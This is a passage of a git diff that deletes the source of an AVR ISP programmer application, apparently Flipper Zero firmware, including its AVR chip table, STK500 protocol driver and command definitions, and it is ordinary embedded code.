0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 42}, // atdf, avrdude - {"AVR128DA32", 366, F_AVR8X, {0x1E, 0x97, 0x09}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 44}, // atdf, avrdude - {"AVR128DB32", 367, F_AVR8X, {0x1E, 0x97, 0x0D}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 44}, // atdf, avrdude - {"AVR128DA48", 368, F_AVR8X, {0x1E, 0x97, 0x08}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 58}, // atdf, avrdude - {"AVR128DB48", 369, F_AVR8X, {0x1E, 0x97, 0x0C}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 61}, // atdf, avrdude - {"AVR128DA64", 370, F_AVR8X, {0x1E, 0x97, 0x07}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 64}, // atdf, avrdude - {"AVR128DB64", 371, F_AVR8X, {0x1E, 0x97, 0x0B}, 0, 0x20000, 0x200, 1, 0, 0x01400, 0x0200, 1, 0x4000, 0x4000, 16, 4, 65}, // atdf, avrdude -}; - -const size_t avr_isp_chip_arr_size = COUNT_OF(avr_isp_chip_arr); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.h b/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.h deleted file mode 100644 index 66f16a7b9..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_chip_arr.h +++ /dev/null @@ -1,33 +0,0 @@ -#pragma once - -#include - -#define F_AVR8L 1 // TPI programming, ATtiny(4|5|9|10|20|40|102|104) -#define F_AVR8 2 // ISP programming with SPI, "classic" AVRs -#define F_XMEGA 4 // PDI programming, ATxmega family -#define F_AVR8X 8 // UPDI programming, newer 8-bit MCUs - -struct AvrIspChipArr { // Value of -1 typically means unknown - const char* name; // Name of part - uint16_t mcuid; // ID of MCU in 0..2039 - uint8_t avrarch; // F_AVR8L, F_AVR8, F_XMEGA or F_AVR8X - uint8_t sigs[3]; // Signature bytes - int32_t flashoffset; // Flash offset - int32_t flashsize; // Flash size - int16_t pagesize; // Flash page size - int8_t nboots; // Number of supported boot sectors - int16_t bootsize; // Size of (smallest) boot sector - int32_t eepromoffset; // EEPROM offset - int32_t eepromsize; // EEPROM size - int32_t eeprompagesize; // EEPROM page size - int32_t sramstart; // SRAM offset - int32_t sramsize; // SRAM size - int8_t nfuses; // Number of fuse bytes - int8_t nlocks; // Number of lock bytes - uint8_t ninterrupts; // Number of vectors in interrupt vector table -}; - -typedef struct AvrIspChipArr AvrIspChipArr; - -extern const AvrIspChipArr avr_isp_chip_arr[]; -extern const size_t avr_isp_chip_arr_size; \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.c b/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.c deleted file mode 100644 index 0f46872dd..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.c +++ /dev/null @@ -1,639 +0,0 @@ -#include "avr_isp_prog.h" -#include "avr_isp_prog_cmd.h" - -#include - -#define AVR_ISP_PROG_TX_RX_BUF_SIZE 320 -#define TAG "AvrIspProg" - -struct AvrIspProgSignature { - uint8_t vendor; - uint8_t part_family; - uint8_t part_number; -}; - -typedef struct AvrIspProgSignature AvrIspProgSignature; - -struct AvrIspProgCfgDevice { - uint8_t devicecode; - uint8_t revision; - uint8_t progtype; - uint8_t parmode; - uint8_t polling; - uint8_t selftimed; - uint8_t lockbytes; - uint8_t fusebytes; - uint8_t flashpoll; - uint16_t eeprompoll; - uint16_t pagesize; - uint16_t eepromsize; - uint32_t flashsize; -}; - -typedef struct AvrIspProgCfgDevice AvrIspProgCfgDevice; - -struct AvrIspProg { - AvrIspSpiSw* spi; - AvrIspProgCfgDevice* cfg; - FuriStreamBuffer* stream_rx; - FuriStreamBuffer* stream_tx; - - uint16_t error; - uint16_t addr; - bool pmode; - bool exit; - bool rst_active_high; - uint8_t buff[AVR_ISP_PROG_TX_RX_BUF_SIZE]; - - AvrIspProgCallback callback; - void* context; -}; - -static void avr_isp_prog_end_pmode(AvrIspProg* instance); - -AvrIspProg* avr_isp_prog_init(void) { - AvrIspProg* instance = malloc(sizeof(AvrIspProg)); - instance->cfg = malloc(sizeof(AvrIspProgCfgDevice)); - instance->stream_rx = - furi_stream_buffer_alloc(sizeof(int8_t) * AVR_ISP_PROG_TX_RX_BUF_SIZE, sizeof(int8_t)); - instance->stream_tx = - furi_stream_buffer_alloc(sizeof(int8_t) * AVR_ISP_PROG_TX_RX_BUF_SIZE, sizeof(int8_t)); - instance->rst_active_high = false; - instance->exit = false; - return instance; -} - -void avr_isp_prog_free(AvrIspProg* instance) { - furi_assert(instance); - if(instance->spi) avr_isp_prog_end_pmode(instance); - furi_stream_buffer_free(instance->stream_tx); - furi_stream_buffer_free(instance->stream_rx); - free(instance->cfg); - free(instance); -} - -size_t avr_isp_prog_spaces_rx(AvrIspProg* instance) { - return furi_stream_buffer_spaces_available(instance->stream_rx); -} - -bool avr_isp_prog_rx(AvrIspProg* instance, uint8_t* data, size_t len) { - furi_assert(instance); - furi_assert(data); - furi_assert(len != 0); - size_t ret = furi_stream_buffer_send(instance->stream_rx, data, sizeof(uint8_t) * len, 0); - return ret == sizeof(uint8_t) * len; -} - -size_t avr_isp_prog_tx(AvrIspProg* instance, uint8_t* data, size_t max_len) { - furi_assert(instance); - return furi_stream_buffer_receive(instance->stream_tx, data, sizeof(int8_t) * max_len, 0); -} - -void avr_isp_prog_exit(AvrIspProg* instance) { - furi_assert(instance); - instance->exit = true; -} - -void avr_isp_prog_set_tx_callback(AvrIspProg* instance, AvrIspProgCallback callback, void* context) { - furi_assert(instance); - furi_assert(context); - instance->callback = callback; - instance->context = context; -} - -static void avr_isp_prog_tx_ch(AvrIspProg* instance, uint8_t data) { - furi_assert(instance); - furi_stream_buffer_send(instance->stream_tx, &data, sizeof(uint8_t), FuriWaitForever); -} - -static uint8_t avr_isp_prog_getch(AvrIspProg* instance) { - furi_assert(instance); - uint8_t data[1] = {0}; - while(furi_stream_buffer_receive(instance->stream_rx, &data, sizeof(int8_t), 30) == 0) { - if(instance->exit) break; - }; - return data[0]; -} - -static void avr_isp_prog_fill(AvrIspProg* instance, size_t len) { - furi_assert(instance); - for(size_t x = 0; x < len; x++) { - instance->buff[x] = avr_isp_prog_getch(instance); - } -} - -static void avr_isp_prog_reset_target(AvrIspProg* instance, bool reset) { - furi_assert(instance); - avr_isp_spi_sw_res_set(instance->spi, (reset == instance->rst_active_high) ? true : false); -} - -static uint8_t avr_isp_prog_spi_transaction( - AvrIspProg* instance, - uint8_t cmd, - uint8_t addr_hi, - uint8_t addr_lo, - uint8_t data) { - furi_assert(instance); - - avr_isp_spi_sw_txrx(instance->spi, cmd); - avr_isp_spi_sw_txrx(instance->spi, addr_hi); - avr_isp_spi_sw_txrx(instance->spi, addr_lo); - return avr_isp_spi_sw_txrx(instance->spi, data); -} - -static void avr_isp_prog_empty_reply(AvrIspProg* instance) { - furi_assert(instance); - if(avr_isp_prog_getch(instance) == CRC_EOP) { - avr_isp_prog_tx_ch(instance, STK_INSYNC); - avr_isp_prog_tx_ch(instance, STK_OK); - } else { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } -} - -static void avr_isp_prog_breply(AvrIspProg* instance, uint8_t data) { - furi_assert(instance); - if(avr_isp_prog_getch(instance) == CRC_EOP) { - avr_isp_prog_tx_ch(instance, STK_INSYNC); - avr_isp_prog_tx_ch(instance, data); - avr_isp_prog_tx_ch(instance, STK_OK); - } else { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } -} - -static void avr_isp_prog_get_version(AvrIspProg* instance, uint8_t data) { - furi_assert(instance); - switch(data) { - case STK_HW_VER: - avr_isp_prog_breply(instance, AVR_ISP_HWVER); - break; - case STK_SW_MAJOR: - avr_isp_prog_breply(instance, AVR_ISP_SWMAJ); - break; - case STK_SW_MINOR: - avr_isp_prog_breply(instance, AVR_ISP_SWMIN); - break; - case AVP_ISP_CONNECT_TYPE: - avr_isp_prog_breply(instance, AVP_ISP_SERIAL_CONNECT_TYPE); - break; - default: - avr_isp_prog_breply(instance, AVR_ISP_RESP_0); - } -} - -static void avr_isp_prog_set_cfg(AvrIspProg* instance) { - furi_assert(instance); - // call this after reading cfg packet into buff[] - instance->cfg->devicecode = instance->buff[0]; - instance->cfg->revision = instance->buff[1]; - instance->cfg->progtype = instance->buff[2]; - instance->cfg->parmode = instance->buff[3]; - instance->cfg->polling = instance->buff[4]; - instance->cfg->selftimed = instance->buff[5]; - instance->cfg->lockbytes = instance->buff[6]; - instance->cfg->fusebytes = instance->buff[7]; - instance->cfg->flashpoll = instance->buff[8]; - // ignore (instance->buff[9] == instance->buff[8]) //FLASH polling value. Same as �flashpoll� - instance->cfg->eeprompoll = instance->buff[10] << 8 | instance->buff[11]; - instance->cfg->pagesize = instance->buff[12] << 8 | instance->buff[13]; - instance->cfg->eepromsize = instance->buff[14] << 8 | instance->buff[15]; - instance->cfg->flashsize = instance->buff[16] << 24 | instance->buff[17] << 16 | - instance->buff[18] << 8 | instance->buff[19]; - - // avr devices have active low reset, at89sx are active high - instance->rst_active_high = (instance->cfg->devicecode >= 0xe0); -} -static bool - avr_isp_prog_set_pmode(AvrIspProg* instance, uint8_t a, uint8_t b, uint8_t c, uint8_t d) { - furi_assert(instance); - uint8_t res = 0; - avr_isp_spi_sw_txrx(instance->spi, a); - avr_isp_spi_sw_txrx(instance->spi, b); - res = avr_isp_spi_sw_txrx(instance->spi, c); - avr_isp_spi_sw_txrx(instance->spi, d); - return res == 0x53; -} - -static void avr_isp_prog_end_pmode(AvrIspProg* instance) { - furi_assert(instance); - if(instance->pmode) { - avr_isp_prog_reset_target(instance, false); - // We're about to take the target out of reset - // so configure SPI pins as input - - if(instance->spi) avr_isp_spi_sw_free(instance->spi); - instance->spi = NULL; - } - - instance->pmode = false; -} - -static bool avr_isp_prog_start_pmode(AvrIspProg* instance, AvrIspSpiSwSpeed spi_speed) { - furi_assert(instance); - // Reset target before driving PIN_SCK or PIN_MOSI - - // SPI.begin() will configure SS as output, - // so SPI master mode is selected. - // We have defined RESET as pin 10, - // which for many arduino's is not the SS pin. - // So we have to configure RESET as output here, - // (reset_target() first sets the correct level) - if(instance->spi) avr_isp_spi_sw_free(instance->spi); - instance->spi = avr_isp_spi_sw_init(spi_speed); - - avr_isp_prog_reset_target(instance, true); - // See avr datasheets, chapter "SERIAL_PRG Programming Algorithm": - - // Pulse RESET after PIN_SCK is low: - avr_isp_spi_sw_sck_set(instance->spi, false); - - // discharge PIN_SCK, value arbitrally chosen - furi_delay_ms(20); - avr_isp_prog_reset_target(instance, false); - - // Pulse must be minimum 2 target CPU speed cycles - // so 100 usec is ok for CPU speeds above 20KHz - furi_delay_ms(1); - - avr_isp_prog_reset_target(instance, true); - - // Send the enable programming command: - // datasheet: must be > 20 msec - furi_delay_ms(50); - if(avr_isp_prog_set_pmode(instance, AVR_ISP_SET_PMODE)) { - instance->pmode = true; - return true; - } - return false; -} - -static AvrIspProgSignature avr_isp_prog_check_signature(AvrIspProg* instance) { - furi_assert(instance); - AvrIspProgSignature signature; - signature.vendor = avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_VENDOR); - signature.part_family = avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_PART_FAMILY); - signature.part_number = avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_PART_NUMBER); - return signature; -} - -static bool avr_isp_prog_auto_set_spi_speed_start_pmode(AvrIspProg* instance) { - AvrIspSpiSwSpeed spi_speed[] = { - AvrIspSpiSwSpeed1Mhz, - AvrIspSpiSwSpeed400Khz, - AvrIspSpiSwSpeed250Khz, - AvrIspSpiSwSpeed125Khz, - AvrIspSpiSwSpeed60Khz, - AvrIspSpiSwSpeed40Khz, - AvrIspSpiSwSpeed20Khz, - AvrIspSpiSwSpeed10Khz, - AvrIspSpiSwSpeed5Khz, - AvrIspSpiSwSpeed1Khz, - }; - for(uint8_t i = 0; i < COUNT_OF(spi_speed); i++) { - if(avr_isp_prog_start_pmode(instance, spi_speed[i])) { - AvrIspProgSignature sig = avr_isp_prog_check_signature(instance); - AvrIspProgSignature sig_examination = avr_isp_prog_check_signature(instance); //-V656 - uint8_t y = 0; - while(y < 8) { - if(memcmp( - (uint8_t*)&sig, (uint8_t*)&sig_examination, sizeof(AvrIspProgSignature)) != - 0) - break; - sig_examination = avr_isp_prog_check_signature(instance); - y++; - } - if(y == 8) { - if(spi_speed[i] > AvrIspSpiSwSpeed1Mhz) { - if(i < (COUNT_OF(spi_speed) - 1)) { - avr_isp_prog_end_pmode(instance); - i++; - return avr_isp_prog_start_pmode(instance, spi_speed[i]); - } - } - return true; - } - } - } - - if(instance->spi) { - avr_isp_spi_sw_free(instance->spi); - instance->spi = NULL; - } - - return false; -} - -static void avr_isp_prog_universal(AvrIspProg* instance) { - furi_assert(instance); - uint8_t data; - - avr_isp_prog_fill(instance, 4); - data = avr_isp_prog_spi_transaction( - instance, instance->buff[0], instance->buff[1], instance->buff[2], instance->buff[3]); - avr_isp_prog_breply(instance, data); -} - -static void avr_isp_prog_commit(AvrIspProg* instance, uint16_t addr, uint8_t data) { - furi_assert(instance); - avr_isp_prog_spi_transaction(instance, AVR_ISP_COMMIT(addr)); - /* polling flash */ - if(data == 0xFF) { - furi_delay_ms(5); - } else { - /* polling flash */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_FLASH_HI(addr)) != 0xFF) { - break; - }; - } - } -} - -static uint16_t avr_isp_prog_current_page(AvrIspProg* instance) { - furi_assert(instance); - uint16_t page = 0; - switch(instance->cfg->pagesize) { - case 32: - page = instance->addr & 0xFFFFFFF0; - break; - case 64: - page = instance->addr & 0xFFFFFFE0; - break; - case 128: - page = instance->addr & 0xFFFFFFC0; - break; - case 256: - page = instance->addr & 0xFFFFFF80; - break; - - default: - page = instance->addr; - break; - } - - return page; -} - -static uint8_t avr_isp_prog_write_flash_pages(AvrIspProg* instance, size_t length) { - furi_assert(instance); - size_t x = 0; - uint16_t page = avr_isp_prog_current_page(instance); - while(x < length) { - if(page != avr_isp_prog_current_page(instance)) { - --x; - avr_isp_prog_commit(instance, page, instance->buff[x++]); - page = avr_isp_prog_current_page(instance); - } - avr_isp_prog_spi_transaction( - instance, AVR_ISP_WRITE_FLASH_LO(instance->addr, instance->buff[x++])); - - avr_isp_prog_spi_transaction( - instance, AVR_ISP_WRITE_FLASH_HI(instance->addr, instance->buff[x++])); - instance->addr++; - } - - avr_isp_prog_commit(instance, page, instance->buff[--x]); - return STK_OK; -} - -static void avr_isp_prog_write_flash(AvrIspProg* instance, size_t length) { - furi_assert(instance); - avr_isp_prog_fill(instance, length); - if(avr_isp_prog_getch(instance) == CRC_EOP) { - avr_isp_prog_tx_ch(instance, STK_INSYNC); - avr_isp_prog_tx_ch(instance, avr_isp_prog_write_flash_pages(instance, length)); - } else { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } -} - -// write (length) bytes, (start) is a byte address -static uint8_t - avr_isp_prog_write_eeprom_chunk(AvrIspProg* instance, uint16_t start, uint16_t length) { - furi_assert(instance); - // this writes byte-by-byte, - // page writing may be faster (4 bytes at a time) - avr_isp_prog_fill(instance, length); - for(uint16_t x = 0; x < length; x++) { - uint16_t addr = start + x; - avr_isp_prog_spi_transaction(instance, AVR_ISP_WRITE_EEPROM(addr, instance->buff[x])); - furi_delay_ms(10); - } - return STK_OK; -} - -static uint8_t avr_isp_prog_write_eeprom(AvrIspProg* instance, size_t length) { - furi_assert(instance); - // here is a word address, get the byte address - uint16_t start = instance->addr * 2; - uint16_t remaining = length; - if(length > instance->cfg->eepromsize) { - instance->error++; - return STK_FAILED; - } - while(remaining > AVR_ISP_EECHUNK) { - avr_isp_prog_write_eeprom_chunk(instance, start, AVR_ISP_EECHUNK); - start += AVR_ISP_EECHUNK; - remaining -= AVR_ISP_EECHUNK; - } - avr_isp_prog_write_eeprom_chunk(instance, start, remaining); - return STK_OK; -} - -static void avr_isp_prog_program_page(AvrIspProg* instance) { - furi_assert(instance); - uint8_t result = STK_FAILED; - uint16_t length = avr_isp_prog_getch(instance) << 8 | avr_isp_prog_getch(instance); - uint8_t memtype = avr_isp_prog_getch(instance); - // flash memory @addr, (length) bytes - if(memtype == STK_SET_FLASH_TYPE) { - avr_isp_prog_write_flash(instance, length); - return; - } - if(memtype == STK_SET_EEPROM_TYPE) { - result = avr_isp_prog_write_eeprom(instance, length); - if(avr_isp_prog_getch(instance) == CRC_EOP) { - avr_isp_prog_tx_ch(instance, STK_INSYNC); - avr_isp_prog_tx_ch(instance, result); - - } else { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } - return; - } - avr_isp_prog_tx_ch(instance, STK_FAILED); - return; -} - -static uint8_t avr_isp_prog_flash_read_page(AvrIspProg* instance, uint16_t length) { - furi_assert(instance); - for(uint16_t x = 0; x < length; x += 2) { - avr_isp_prog_tx_ch( - instance, - avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_FLASH_LO(instance->addr))); - avr_isp_prog_tx_ch( - instance, - avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_FLASH_HI(instance->addr))); - instance->addr++; - } - return STK_OK; -} - -static uint8_t avr_isp_prog_eeprom_read_page(AvrIspProg* instance, uint16_t length) { - furi_assert(instance); - // here again we have a word address - uint16_t start = instance->addr * 2; - for(uint16_t x = 0; x < length; x++) { - uint16_t addr = start + x; - avr_isp_prog_tx_ch( - instance, avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_EEPROM(addr))); - } - return STK_OK; -} - -static void avr_isp_prog_read_page(AvrIspProg* instance) { - furi_assert(instance); - uint8_t result = STK_FAILED; - uint16_t length = avr_isp_prog_getch(instance) << 8 | avr_isp_prog_getch(instance); - uint8_t memtype = avr_isp_prog_getch(instance); - if(avr_isp_prog_getch(instance) != CRC_EOP) { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - return; - } - avr_isp_prog_tx_ch(instance, STK_INSYNC); - if(memtype == STK_SET_FLASH_TYPE) result = avr_isp_prog_flash_read_page(instance, length); - if(memtype == STK_SET_EEPROM_TYPE) result = avr_isp_prog_eeprom_read_page(instance, length); - avr_isp_prog_tx_ch(instance, result); -} - -static void avr_isp_prog_read_signature(AvrIspProg* instance) { - furi_assert(instance); - if(avr_isp_prog_getch(instance) != CRC_EOP) { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - return; - } - avr_isp_prog_tx_ch(instance, STK_INSYNC); - - avr_isp_prog_tx_ch(instance, avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_VENDOR)); - avr_isp_prog_tx_ch(instance, avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_PART_FAMILY)); - avr_isp_prog_tx_ch(instance, avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_PART_NUMBER)); - - avr_isp_prog_tx_ch(instance, STK_OK); -} - -void avr_isp_prog_avrisp(AvrIspProg* instance) { - furi_assert(instance); - uint8_t ch = avr_isp_prog_getch(instance); - - switch(ch) { - case STK_GET_SYNC: - FURI_LOG_D(TAG, "cmd STK_GET_SYNC"); - instance->error = 0; - avr_isp_prog_empty_reply(instance); - break; - case STK_GET_SIGN_ON: - FURI_LOG_D(TAG, "cmd STK_GET_SIGN_ON"); - if(avr_isp_prog_getch(instance) == CRC_EOP) { - avr_isp_prog_tx_ch(instance, STK_INSYNC); - - avr_isp_prog_tx_ch(instance, 'A'); - avr_isp_prog_tx_ch(instance, 'V'); - avr_isp_prog_tx_ch(instance, 'R'); - avr_isp_prog_tx_ch(instance, ' '); - avr_isp_prog_tx_ch(instance, 'I'); - avr_isp_prog_tx_ch(instance, 'S'); - avr_isp_prog_tx_ch(instance, 'P'); - - avr_isp_prog_tx_ch(instance, STK_OK); - } else { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } - break; - case STK_GET_PARAMETER: - FURI_LOG_D(TAG, "cmd STK_GET_PARAMETER"); - avr_isp_prog_get_version(instance, avr_isp_prog_getch(instance)); - break; - case STK_SET_DEVICE: - FURI_LOG_D(TAG, "cmd STK_SET_DEVICE"); - avr_isp_prog_fill(instance, 20); - avr_isp_prog_set_cfg(instance); - avr_isp_prog_empty_reply(instance); - break; - case STK_SET_DEVICE_EXT: // ignore for now - FURI_LOG_D(TAG, "cmd STK_SET_DEVICE_EXT"); - avr_isp_prog_fill(instance, 5); - avr_isp_prog_empty_reply(instance); - break; - case STK_ENTER_PROGMODE: - FURI_LOG_D(TAG, "cmd STK_ENTER_PROGMODE"); - if(!instance->pmode) avr_isp_prog_auto_set_spi_speed_start_pmode(instance); - avr_isp_prog_empty_reply(instance); - break; - case STK_LOAD_ADDRESS: - FURI_LOG_D(TAG, "cmd STK_LOAD_ADDRESS"); - instance->addr = avr_isp_prog_getch(instance) | avr_isp_prog_getch(instance) << 8; - avr_isp_prog_empty_reply(instance); - break; - case STK_PROG_FLASH: // ignore for now - FURI_LOG_D(TAG, "cmd STK_PROG_FLASH"); - avr_isp_prog_getch(instance); - avr_isp_prog_getch(instance); - avr_isp_prog_empty_reply(instance); - break; - case STK_PROG_DATA: // ignore for now - FURI_LOG_D(TAG, "cmd STK_PROG_DATA"); - avr_isp_prog_getch(instance); - avr_isp_prog_empty_reply(instance); - break; - case STK_PROG_PAGE: - FURI_LOG_D(TAG, "cmd STK_PROG_PAGE"); - avr_isp_prog_program_page(instance); - break; - case STK_READ_PAGE: - FURI_LOG_D(TAG, "cmd STK_READ_PAGE"); - avr_isp_prog_read_page(instance); - break; - case STK_UNIVERSAL: - FURI_LOG_D(TAG, "cmd STK_UNIVERSAL"); - avr_isp_prog_universal(instance); - break; - case STK_LEAVE_PROGMODE: - FURI_LOG_D(TAG, "cmd STK_LEAVE_PROGMODE"); - instance->error = 0; - if(instance->pmode) avr_isp_prog_end_pmode(instance); - avr_isp_prog_empty_reply(instance); - break; - case STK_READ_SIGN: - FURI_LOG_D(TAG, "cmd STK_READ_SIGN"); - avr_isp_prog_read_signature(instance); - break; - // expecting a command, not CRC_EOP - // this is how we can get back in sync - case CRC_EOP: - FURI_LOG_D(TAG, "cmd CRC_EOP"); - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - break; - // anything else we will return STK_UNKNOWN - default: - FURI_LOG_D(TAG, "cmd STK_ERROR_CMD"); - instance->error++; - if(avr_isp_prog_getch(instance) == CRC_EOP) - avr_isp_prog_tx_ch(instance, STK_UNKNOWN); - else - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } - - if(instance->callback) { - instance->callback(instance->context); - } -} diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.h b/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.h deleted file mode 100644 index 2c15ab066..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include "avr_isp_spi_sw.h" -#include - -typedef struct AvrIspProg AvrIspProg; -typedef void (*AvrIspProgCallback)(void* context); - -AvrIspProg* avr_isp_prog_init(void); -void avr_isp_prog_free(AvrIspProg* instance); -size_t avr_isp_prog_spaces_rx(AvrIspProg* instance) ; -bool avr_isp_prog_rx(AvrIspProg* instance, uint8_t* data, size_t len); -size_t avr_isp_prog_tx(AvrIspProg* instance, uint8_t* data, size_t max_len); -void avr_isp_prog_avrisp(AvrIspProg* instance); -void avr_isp_prog_exit(AvrIspProg* instance); -void avr_isp_prog_set_tx_callback(AvrIspProg* instance, AvrIspProgCallback callback, void* context); diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog_cmd.h b/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog_cmd.h deleted file mode 100644 index f8b07203e..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog_cmd.h +++ /dev/null @@ -1,97 +0,0 @@ -#pragma once - -// http://ww1.microchip.com/downloads/en/appnotes/atmel-0943-in-system-programming_applicationnote_avr910.pdf -// AVR ISP Definitions -#define AVR_ISP_HWVER 0X02 -#define AVR_ISP_SWMAJ 0X01 -#define AVR_ISP_SWMIN 0X12 -#define AVP_ISP_SERIAL_CONNECT_TYPE 0X53 -#define AVP_ISP_CONNECT_TYPE 0x93 -#define AVR_ISP_RESP_0 0X00 - -#define AVR_ISP_SET_PMODE 0xAC, 0x53, 0x00, 0x00 -#define AVR_ISP_READ_VENDOR 0x30, 0x00, 0x00, 0x00 -#define AVR_ISP_READ_PART_FAMILY 0x30, 0x00, 0x01, 0x00 -#define AVR_ISP_READ_PART_NUMBER 0x30, 0x00, 0x02, 0x00 -#define AVR_ISP_ERASE_CHIP \ - 0xAC, 0x80, 0x00, 0x00 //Erase Chip, Wait N ms, Release RESET to end the erase. -//The only way to end a Chip Erase cycle is by temporarily releasing the Reset line - -#define AVR_ISP_EXTENDED_ADDR(data) 0x4D, 0x00, data, 0x00 -#define AVR_ISP_WRITE_FLASH_LO(add, data) 0x40, (add >> 8) & 0xFF, add & 0xFF, data -#define AVR_ISP_WRITE_FLASH_HI(add, data) 0x48, (add >> 8) & 0xFF, add & 0xFF, data -#define AVR_ISP_READ_FLASH_LO(add) 0x20, (add >> 8) & 0xFF, add & 0xFF, 0x00 -#define AVR_ISP_READ_FLASH_HI(add) 0x28, (add >> 8) & 0xFF, add & 0xFF, 0x00 - -#define AVR_ISP_WRITE_EEPROM(add, data) \ - 0xC0, (add >> 8) & 0xFF, add & 0xFF, data //Send cmd, Wait N ms -#define AVR_ISP_READ_EEPROM(add) 0xA0, (add >> 8) & 0xFF, add & 0xFF, 0xFF - -#define AVR_ISP_COMMIT(add) \ - 0x4C, (add >> 8) & 0xFF, add & 0xFF, 0x00 //Send cmd, polling read last addr page - -#define AVR_ISP_OSCCAL(add) 0x38, 0x00, add, 0x00 - -#define AVR_ISP_WRITE_LOCK_BYTE(data) 0xAC, 0xE0, 0x00, data //Send cmd, Wait N ms -#define AVR_ISP_READ_LOCK_BYTE 0x58, 0x00, 0x00, 0x00 -#define AVR_ISP_WRITE_FUSE_LOW(data) 0xAC, 0xA0, 0x00, data //Send cmd, Wait N ms -#define AVR_ISP_READ_FUSE_LOW 0x50, 0x00, 0x00, 0x00 -#define AVR_ISP_WRITE_FUSE_HIGH(data) 0xAC, 0xA8, 0x00, data //Send cmd, Wait N ms -#define AVR_ISP_READ_FUSE_HIGH 0x58, 0x08, 0x00, 0x00 -#define AVR_ISP_WRITE_FUSE_EXTENDED(data) 0xAC, 0xA4, 0x00, data //Send cmd, Wait N ms (~write) -#define AVR_ISP_READ_FUSE_EXTENDED 0x50, 0x08, 0x00, 0x00 - -#define AVR_ISP_EECHUNK 0x20 - -// https://www.microchip.com/content/dam/mchp/documents/OTH/ApplicationNotes/ApplicationNotes/doc2525.pdf -// STK Definitions -#define STK_OK 0x10 -#define STK_FAILED 0x11 -#define STK_UNKNOWN 0x12 -#define STK_INSYNC 0x14 -#define STK_NOSYNC 0x15 -#define CRC_EOP 0x20 - -#define STK_GET_SYNC 0x30 -#define STK_GET_SIGN_ON 0x31 -#define STK_SET_PARAMETER 0x40 -#define STK_GET_PARAMETER 0x41 -#define STK_SET_DEVICE 0x42 -#define STK_SET_DEVICE_EXT 0x45 -#define STK_ENTER_PROGMODE 0x50 -#define STK_LEAVE_PROGMODE 0x51 -#define STK_CHIP_ERASE 0x52 -#define STK_CHECK_AUTOINC 0x53 -#define STK_LOAD_ADDRESS 0x55 -#define STK_UNIVERSAL 0x56 -#define STK_UNIVERSAL_MULTI 0x57 -#define STK_PROG_FLASH 0x60 -#define STK_PROG_DATA 0x61 -#define STK_PROG_FUSE 0x62 -#define STK_PROG_FUSE_EXT 0x65 -#define STK_PROG_LOCK 0x63 -#define STK_PROG_PAGE 0x64 -#define STK_READ_FLASH 0x70 -#define STK_READ_DATA 0x71 -#define STK_READ_FUSE 0x72 -#define STK_READ_LOCK 0x73 -#define STK_READ_PAGE 0x74 -#define STK_READ_SIGN 0x75 -#define STK_READ_OSCCAL 0x76 -#define STK_READ_FUSE_EXT 0x77 -#define STK_READ_OSCCAL_EXT 0x78 -#define STK_HW_VER 0x80 -#define STK_SW_MAJOR 0x81 -#define STK_SW_MINOR 0x82 -#define STK_LEDS 0x83 -#define STK_VTARGET 0x84 -#define STK_VADJUST 0x85 -#define STK_OSC_PSCALE 0x86 -#define STK_OSC_CMATCH 0x87 -#define STK_SCK_DURATION 0x89 -#define STK_BUFSIZEL 0x90 -#define STK_BUFSIZEH 0x91 -#define STK_STK500_TOPCARD_DETECT 0x98 - -#define STK_SET_EEPROM_TYPE 0X45 -#define STK_SET_FLASH_TYPE 0X46 diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.c b/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.c deleted file mode 100644 index c6d9d54c8..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.c +++ /dev/null @@ -1,71 +0,0 @@ -#include "avr_isp_spi_sw.h" - -#include - -#define AVR_ISP_SPI_SW_MISO &gpio_ext_pa6 -#define AVR_ISP_SPI_SW_MOSI &gpio_ext_pa7 -#define AVR_ISP_SPI_SW_SCK 